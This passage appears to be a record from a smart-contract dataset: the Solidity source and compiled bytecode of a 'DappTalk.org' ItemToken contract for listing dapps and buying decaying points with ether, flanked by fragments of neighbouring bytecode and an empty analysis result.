fffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a64e8d4a510000281565b60008111610a2057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6c57600080fd5b6000339050610ac382600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1b826001546114b690919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cea576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7e565b610cfd83826114b690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600881526020017f4c6962657274795100000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4b57600080fd5b610f9d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c257fe5b818303905092915050565b6000808284019050838110156114df57fe5b809150509291505056fea264697066735822122045e9143984f93fad529054a44749882a76c779dd1498eb78006e3a601e81993f64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,706
0xbADF157A0ACfbeEbBee23EBC887DF0e9BEA0EB6D
pragma solidity ^0.4.13; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ItemToken { using SafeMath for uint256; event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); address private owner; mapping (address => bool) private admins; bool private erc721Enabled = false; uint256 private L = 500; uint256 private itemIdCounter = 0; uint256 private pointsDecayFactor = 1209600000; // half-time: week uint256[] private listedItems; mapping (uint256 => address) private ownerOfItem; mapping (uint256 => string) private nameOfItem; mapping (uint256 => string) private descOfItem; mapping (uint256 => string) private URLOfItem; mapping (uint256 => uint256) private pointOfItem; mapping (uint256 => uint256) private timeOfItem; mapping (uint256 => address) private approvedOfItem; mapping (uint256 => uint256[]) private pointArrayOfArray; mapping (uint256 => uint256[]) private timeArrayOfArray; function ItemToken () public { owner = msg.sender; admins[owner] = true; } /* Modifiers */ modifier onlyOwner() { require(owner == msg.sender); _; } modifier onlyAdmins() { require(admins[msg.sender]); _; } modifier onlyERC721() { require(erc721Enabled); _; } /* Owner */ function setOwner (address _owner) onlyOwner() public { owner = _owner; } function addAdmin (address _admin) onlyOwner() public { admins[_admin] = true; } function removeAdmin (address _admin) onlyOwner() public { delete admins[_admin]; } function adjustL (uint256 _L) onlyOwner() public { L = _L; } function adjustPointsDecayFactor (uint256 _pointsDecayFactor) onlyOwner() public { pointsDecayFactor = _pointsDecayFactor; } // Unlocks ERC721 behaviour, allowing for trading on third party platforms. function enableERC721 () onlyOwner() public { erc721Enabled = true; } /* Withdraw */ function withdrawAll () onlyOwner() public { owner.transfer(this.balance); } function withdrawAmount (uint256 _amount) onlyOwner() public { owner.transfer(_amount); } /* Listing */ function Time_call() returns (uint256 _now){ return now; } function listDapp (string _itemName, string _itemDesc, string _itemURL) public { require(bytes(_itemName).length > 2); require(bytes(_itemDesc).length > 2); require(bytes(_itemURL).length > 2); uint256 _itemId = itemIdCounter; itemIdCounter = itemIdCounter + 1; ownerOfItem[_itemId] = msg.sender; nameOfItem[_itemId] = _itemName; descOfItem[_itemId] = _itemDesc; URLOfItem[_itemId] = _itemURL; pointOfItem[_itemId] = 10; //This is 10 free token for whom sign-up timeOfItem[_itemId] = Time_call(); listedItems.push(_itemId); pointArrayOfArray[_itemId].push(10); timeArrayOfArray[_itemId].push(Time_call()); } /* Buying */ function buyPoints (uint256 _itemId) payable public { require(msg.value > 0); require(ownerOf(_itemId) == msg.sender); require(!isContract(msg.sender)); uint256 point = msg.value.mul(L).div(1000000000000000000); pointOfItem[_itemId] = point; timeOfItem[_itemId] = Time_call(); owner.transfer(msg.value); pointArrayOfArray[_itemId].push(point); timeArrayOfArray[_itemId].push(Time_call()); } /* ERC721 */ function implementsERC721() public view returns (bool _implements) { return erc721Enabled; } function name() public pure returns (string _name) { return "DappTalk.org"; } function symbol() public pure returns (string _symbol) { return "DTC"; } function totalSupply() public view returns (uint256 _totalSupply) { return listedItems.length; } function balanceOf (address _owner) public view returns (uint256 _balance) { uint256 counter = 0; for (uint256 i = 0; i < listedItems.length; i++) { if (ownerOf(listedItems[i]) == _owner) { counter++; } } return counter; } function ownerOf (uint256 _itemId) public view returns (address _owner) { return ownerOfItem[_itemId]; } function tokensOf (address _owner) public view returns (uint256[] _tokenIds) { uint256[] memory items = new uint256[](balanceOf(_owner)); uint256 itemCounter = 0; for (uint256 i = 0; i < listedItems.length; i++) { if (ownerOf(listedItems[i]) == _owner) { items[itemCounter] = listedItems[i]; itemCounter += 1; } } return items; } function tokenExists (uint256 _itemId) public view returns (bool _exists) { return bytes(nameOf(_itemId)).length > 2; } function approvedFor(uint256 _itemId) public view returns (address _approved) { return approvedOfItem[_itemId]; } function approve(address _to, uint256 _itemId) onlyERC721() public { require(msg.sender != _to); require(tokenExists(_itemId)); require(ownerOf(_itemId) == msg.sender); if (_to == 0) { if (approvedOfItem[_itemId] != 0) { delete approvedOfItem[_itemId]; Approval(msg.sender, 0, _itemId); } } else { approvedOfItem[_itemId] = _to; Approval(msg.sender, _to, _itemId); } } function transfer(address _to, uint256 _itemId) onlyERC721() public { require(msg.sender == ownerOf(_itemId)); _transfer(msg.sender, _to, _itemId); } function transferFrom(address _from, address _to, uint256 _itemId) onlyERC721() public { require(approvedFor(_itemId) == msg.sender); _transfer(_from, _to, _itemId); } function _transfer(address _from, address _to, uint256 _itemId) internal { require(tokenExists(_itemId)); require(ownerOf(_itemId) == _from); require(_to != address(0)); require(_to != address(this)); ownerOfItem[_itemId] = _to; approvedOfItem[_itemId] = 0; Transfer(_from, _to, _itemId); } /* Read */ function isAdmin (address _admin) public view returns (bool _isAdmin) { return admins[_admin]; } function nameOf (uint256 _itemId) public view returns (string _itemName) { return nameOfItem[_itemId]; } function descOf (uint256 _itemId) public view returns (string _itemDesc) { return descOfItem[_itemId]; } function URLOf (uint256 _itemId) public view returns (string _itemURL) { return URLOfItem[_itemId]; } function pointOf (uint256 _itemId) public view returns (uint256 _itemPoint) { return pointOfItem[_itemId]; } function pointArrayOf (uint256 _itemId) public view returns (uint256[] _pointArray) { return pointArrayOfArray[_itemId]; } function timeArrayOf (uint256 _itemId) public view returns (uint256[] _timeArray) { return timeArrayOfArray[_itemId]; } function initTimeOf (uint256 _itemId) public view returns (uint256 _initTime) { return timeArrayOfArray[_itemId][0]; } function timeOf (uint256 _itemId) public view returns (uint256 _itemTime) { return timeOfItem[_itemId]; } function getPointOf (uint256 _itemId) public view returns (uint256 _getPoint) { uint256 t = Time_call(); _getPoint = 0; uint256 temp = 0; for (uint256 i = 0; i < pointArrayOfArray[_itemId].length; i++) { if (timeArrayOfArray[_itemId][i] + pointsDecayFactor > t) { temp = timeArrayOfArray[_itemId][i]; temp = temp - t; temp = temp + pointsDecayFactor; temp = temp.mul(pointArrayOfArray[_itemId][i]); temp = temp.div(pointsDecayFactor); _getPoint = temp.add(_getPoint); } } return _getPoint; } function allOf (uint256 _itemId) public view returns (address _owner, string _itemName, string _itemDesc, string _itemURL, uint256[] _pointArray, uint256[] _timeArray, uint256 _curPoint) { return (ownerOf(_itemId), nameOf(_itemId), descOf(_itemId), URLOf(_itemId), pointArrayOf(_itemId), timeArrayOf(_itemId), getPointOf(_itemId)); } function getAllDapps () public view returns (address[] _owners, bytes32[] _itemNames, bytes32[] _itemDescs, bytes32[] _itemURL, uint256[] _points, uint256[] _initTime, uint256[] _lastTime) { _owners = new address[](itemIdCounter); _itemNames = new bytes32[](itemIdCounter); _itemDescs = new bytes32[](itemIdCounter); _itemURL = new bytes32[](itemIdCounter); _points = new uint256[](itemIdCounter); _initTime = new uint256[](itemIdCounter); _lastTime = new uint256[](itemIdCounter); for (uint256 i = 0; i < itemIdCounter; i++) { _owners[i] = ownerOf(i); _itemNames[i] = stringToBytes32(nameOf(i)); _itemDescs[i] = stringToBytes32(descOf(i)); _itemURL[i] = stringToBytes32(URLOf(i)); _points[i] = getPointOf(i); _initTime[i] = initTimeOf(i); _lastTime[i] = timeOf(i); } return (_owners, _itemNames, _itemDescs, _itemURL, _points, _initTime, _lastTime); } /* Util */ function isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } // solium-disable-line return size > 0; } function stringToBytes32(string memory source) returns (bytes32 result) { bytes memory tempEmptyStringTest = bytes(source); if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(source, 32)) } } }
0x6080604052600436106101c1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062923f9e146101c6578063032610301461020b578063051a2664146102365780630562b9f7146102dc57806306fdde0314610309578063095ea7b3146103995780631051db34146103e657806313af4035146104155780631785f53c1461045857806318160ddd1461049b5780631ecc56f2146104c657806323b872dd1461050757806324d7806c146105745780632a6dd48f146105cf5780632e4f43bf1461063c578063440961c31461088457806344f2428a146108b15780634c1674e5146108de57806358c9e484146109845780635a3f2672146109a457806360edc4c414610a3c5780636352211e14610a7d5780637048027514610aea57806370a0823114610b2d57806371dc761e14610b845780637bd3acbb14610b9b5780637d1541ad14610c1d578063853828b614610d125780638645229514610d2957806395d89b4114610d6a578063a9059cbb14610dfa578063aec5ab0814610e47578063c794684214611063578063ca54ea4e14611109578063cfb519281461114a578063e6259f53146111cf575b600080fd5b3480156101d257600080fd5b506101f160048036038101908080359060200190929190505050611251565b604051808215151515815260200191505060405180910390f35b34801561021757600080fd5b50610220611267565b6040518082815260200191505060405180910390f35b34801561024257600080fd5b506102616004803603810190808035906020019092919050505061126f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102a1578082015181840152602081019050610286565b50505050905090810190601f1680156102ce5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102e857600080fd5b5061030760048036038101908080359060200190929190505050611324565b005b34801561031557600080fd5b5061031e6113ea565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103a557600080fd5b506103e4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611427565b005b3480156103f257600080fd5b506103fb61168d565b604051808215151515815260200191505060405180910390f35b34801561042157600080fd5b50610456600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116a4565b005b34801561046457600080fd5b50610499600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611742565b005b3480156104a757600080fd5b506104b06117ef565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b506104f1600480360381019080803590602001909291905050506117fc565b6040518082815260200191505060405180910390f35b34801561051357600080fd5b50610572600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611831565b005b34801561058057600080fd5b506105b5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061189e565b604051808215151515815260200191505060405180910390f35b3480156105db57600080fd5b506105fa600480360381019080803590602001909291905050506118f4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561064857600080fd5b5061066760048036038101908080359060200190929190505050611931565b604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001806020018060200180602001806020018060200187815260200186810386528c818151815260200191508051906020019080838360005b838110156106ef5780820151818401526020810190506106d4565b50505050905090810190601f16801561071c5780820380516001836020036101000a031916815260200191505b5086810385528b818151815260200191508051906020019080838360005b8381101561075557808201518184015260208101905061073a565b50505050905090810190601f1680156107825780820380516001836020036101000a031916815260200191505b5086810384528a818151815260200191508051906020019080838360005b838110156107bb5780820151818401526020810190506107a0565b50505050905090810190601f1680156107e85780820380516001836020036101000a031916815260200191505b50868103835289818151815260200191508051906020019060200280838360005b83811015610824578082015181840152602081019050610809565b50505050905001868103825288818151815260200191508051906020019060200280838360005b8381101561086657808201518184015260208101905061084b565b505050509050019c5050505050505050505050505060405180910390f35b34801561089057600080fd5b506108af60048036038101908080359060200190929190505050611995565b005b3480156108bd57600080fd5b506108dc600480360381019080803590602001909291905050506119fa565b005b3480156108ea57600080fd5b5061090960048036038101908080359060200190929190505050611a5f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561094957808201518184015260208101905061092e565b50505050905090810190601f1680156109765780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6109a260048036038101908080359060200190929190505050611b14565b005b3480156109b057600080fd5b506109e5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cd0565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610a28578082015181840152602081019050610a0d565b505050509050019250505060405180910390f35b348015610a4857600080fd5b50610a6760048036038101908080359060200190929190505050611dd0565b6040518082815260200191505060405180910390f35b348015610a8957600080fd5b50610aa860048036038101908080359060200190929190505050611ded565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610af657600080fd5b50610b2b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e2a565b005b348015610b3957600080fd5b50610b6e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611edf565b6040518082815260200191505060405180910390f35b348015610b9057600080fd5b50610b99611f6e565b005b348015610ba757600080fd5b50610bc660048036038101908080359060200190929190505050611fe6565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610c09578082015181840152602081019050610bee565b505050509050019250505060405180910390f35b348015610c2957600080fd5b50610d10600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612051565b005b348015610d1e57600080fd5b50610d2761224a565b005b348015610d3557600080fd5b50610d5460048036038101908080359060200190929190505050612326565b6040518082815260200191505060405180910390f35b348015610d7657600080fd5b50610d7f612454565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610dbf578082015181840152602081019050610da4565b50505050905090810190601f168015610dec5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610e0657600080fd5b50610e45600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612491565b005b348015610e5357600080fd5b50610e5c6124fd565b604051808060200180602001806020018060200180602001806020018060200188810388528f818151815260200191508051906020019060200280838360005b83811015610eb7578082015181840152602081019050610e9c565b5050505090500188810387528e818151815260200191508051906020019060200280838360005b83811015610ef9578082015181840152602081019050610ede565b5050505090500188810386528d818151815260200191508051906020019060200280838360005b83811015610f3b578082015181840152602081019050610f20565b5050505090500188810385528c818151815260200191508051906020019060200280838360005b83811015610f7d578082015181840152602081019050610f62565b5050505090500188810384528b818151815260200191508051906020019060200280838360005b83811015610fbf578082015181840152602081019050610fa4565b5050505090500188810383528a818151815260200191508051906020019060200280838360005b83811015611001578082015181840152602081019050610fe6565b50505050905001888103825289818151815260200191508051906020019060200280838360005b83811015611043578082015181840152602081019050611028565b505050509050019e50505050505050505050505050505060405180910390f35b34801561106f57600080fd5b5061108e60048036038101908080359060200190929190505050612818565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156110ce5780820151818401526020810190506110b3565b50505050905090810190601f1680156110fb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561111557600080fd5b50611134600480360381019080803590602001909291905050506128cd565b6040518082815260200191505060405180910390f35b34801561115657600080fd5b506111b1600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506128ea565b60405180826000191660001916815260200191505060405180910390f35b3480156111db57600080fd5b506111fa60048036038101908080359060200190929190505050612915565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561123d578082015181840152602081019050611222565b505050509050019250505060405180910390f35b6000600261125e8361126f565b51119050919050565b600042905090565b6060600860008381526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113185780601f106112ed57610100808354040283529160200191611318565b820191906000526020600020905b8154815290600101906020018083116112fb57829003601f168201915b50505050509050919050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561137f57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156113e6573d6000803e3d6000fd5b5050565b60606040805190810160405280600c81526020017f4461707054616c6b2e6f72670000000000000000000000000000000000000000815250905090565b600260009054906101000a900460ff16151561144257600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561147d57600080fd5b61148681611251565b151561149157600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166114b182611ded565b73ffffffffffffffffffffffffffffffffffffffff161415156114d357600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff1614156115d1576000600d600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156115cc57600d600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560003373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b611689565b81600d600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b5050565b6000600260009054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156116ff57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561179d57600080fd5b600160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff021916905550565b6000600680549050905090565b6000600f6000838152602001908152602001600020600081548110151561181f57fe5b90600052602060002001549050919050565b600260009054906101000a900460ff16151561184c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff1661186c826118f4565b73ffffffffffffffffffffffffffffffffffffffff1614151561188e57600080fd5b611899838383612980565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600d600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006060806060806060600061194688611ded565b61194f8961126f565b6119588a611a5f565b6119618b612818565b61196a8c611fe6565b6119738d612915565b61197c8e612326565b9650965096509650965096509650919395979092949650565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156119f057600080fd5b8060058190555050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611a5557600080fd5b8060038190555050565b6060600960008381526020019081526020016000208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b085780601f10611add57610100808354040283529160200191611b08565b820191906000526020600020905b815481529060010190602001808311611aeb57829003601f168201915b50505050509050919050565b60008034111515611b2457600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16611b4483611ded565b73ffffffffffffffffffffffffffffffffffffffff16141515611b6657600080fd5b611b6f33612b5c565b151515611b7b57600080fd5b611baa670de0b6b3a7640000611b9c60035434612b6f90919063ffffffff16565b612baa90919063ffffffff16565b905080600b600084815260200190815260200160002081905550611bcc611267565b600c6000848152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015611c4a573d6000803e3d6000fd5b50600e6000838152602001908152602001600020819080600181540180825580915050906001820390600052602060002001600090919290919091505550600f6000838152602001908152602001600020611ca3611267565b90806001815401808255809150509060018203906000526020600020016000909192909190915055505050565b606080600080611cdf85611edf565b604051908082528060200260200182016040528015611d0d5781602001602082028038833980820191505090505b50925060009150600090505b600680549050811015611dc5578473ffffffffffffffffffffffffffffffffffffffff16611d5f600683815481101515611d4f57fe5b9060005260206000200154611ded565b73ffffffffffffffffffffffffffffffffffffffff161415611db857600681815481101515611d8a57fe5b90600052602060002001548383815181101515611da357fe5b90602001906020020181815250506001820191505b8080600101915050611d19565b829350505050919050565b6000600c6000838152602001908152602001600020549050919050565b60006007600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611e8557600080fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000806000809150600090505b600680549050811015611f64578373ffffffffffffffffffffffffffffffffffffffff16611f32600683815481101515611f2257fe5b9060005260206000200154611ded565b73ffffffffffffffffffffffffffffffffffffffff161415611f575781806001019250505b8080600101915050611eec565b8192505050919050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611fc957600080fd5b6001600260006101000a81548160ff021916908315150217905550565b6060600e600083815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561204557602002820191906000526020600020905b815481526020019060010190808311612031575b50505050509050919050565b60006002845111151561206357600080fd5b6002835111151561207357600080fd5b6002825111151561208357600080fd5b6004549050600160045401600481905550336007600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508360086000838152602001908152602001600020908051906020019061210d929190612be3565b5082600960008381526020019081526020016000209080519060200190612135929190612be3565b5081600a6000838152602001908152602001600020908051906020019061215d929190612be3565b50600a600b60008381526020019081526020016000208190555061217f611267565b600c6000838152602001908152602001600020819055506006819080600181540180825580915050906001820390600052602060002001600090919290919091505550600e6000828152602001908152602001600020600a9080600181540180825580915050906001820390600052602060002001600090919290919091505550600f600082815260200190815260200160002061221b611267565b908060018154018082558091505090600182039060005260206000200160009091929091909150555050505050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156122a557600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015612323573d6000803e3d6000fd5b50565b600080600080612334611267565b92506000935060009150600090505b600e6000868152602001908152602001600020805490508110156124495782600554600f60008881526020019081526020016000208381548110151561238557fe5b906000526020600020015401111561243c57600f6000868152602001908152602001600020818154811015156123b757fe5b9060005260206000200154915082820391506005548201915061240d600e6000878152602001908152602001600020828154811015156123f357fe5b906000526020600020015483612b6f90919063ffffffff16565b915061242460055483612baa90919063ffffffff16565b91506124398483612bc590919063ffffffff16565b93505b8080600101915050612343565b839350505050919050565b60606040805190810160405280600381526020017f4454430000000000000000000000000000000000000000000000000000000000815250905090565b600260009054906101000a900460ff1615156124ac57600080fd5b6124b581611ded565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156124ee57600080fd5b6124f9338383612980565b5050565b6060806060806060806060600060045460405190808252806020026020018201604052801561253b5781602001602082028038833980820191505090505b50975060045460405190808252806020026020018201604052801561256f578160